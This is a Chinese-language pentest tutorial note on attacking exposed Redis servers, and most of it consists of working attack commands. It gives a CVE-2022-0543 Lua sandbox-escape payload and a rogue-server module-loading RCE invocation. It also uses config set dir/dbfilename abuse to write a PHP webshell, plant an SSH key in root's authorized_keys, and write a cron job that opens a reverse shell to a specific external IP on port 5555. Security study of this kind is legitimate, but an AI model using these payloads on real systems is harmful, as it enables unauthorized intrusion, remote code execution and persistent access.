#数据库应用-Redis-未授权访问&CVE漏洞
默认端口:6379
Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
确定一个地址有没有使用redis,就是6379端口有没有开启,nmap扫描
尝试使用redis连接,如果ip地址没有设置账户密码就会导致未授权访问
1、沙箱绕过RCE-CVE-2022-0543
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
改成pwd:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
显示了当前目录:
实战中:
连接成功
但是访问这个ip加6379端口是不行滴,因为他不是网站是一个数据库
不加端口访问:
还是不行因为有数据库不一定有网站
2、未授权访问-CNVD-2019-21763
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
使用工具:
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"
在攻击机上运行(要是外网ip):
id换成whoami
3、未授权访问:CNVD-2015-07557
1.写Webshell需得到Web路径,引起webshell的连接操作,得到权限
利用条件:Web目录权限可读写,有web网站,不然连接不了
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
复现:
连接:
写入命令
这里写的是1.php,因为网站是php语言,如果是jsp语言就改成1.jsp
来服务器上看看有没有成功:
发现没有1.php,是在docker里面!!!在docker里面搭建的环境,写到docker里面去了,不是真实主机的磁盘里面
注意:部分没目录权限读写权限
2.向计划任务里面写文件,实现执行set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n",实现反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,条件难满足
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:centos系统会忽略乱码去执行格式正确的任务计划
而ubuntu系统并不会忽略这些乱码,所以导致命令执行失败
3.写入Linux ssh-key公钥
自己攻击机把密匙文件生成出来,密匙文件写到目标机器上面,再用攻击机连接目标机器就不用输入账号密码了
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
-自动化项目:集成上面三个测试方式
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP
复现:
在攻击机上面执行:
ip换掉
实战直接上这个工具就好了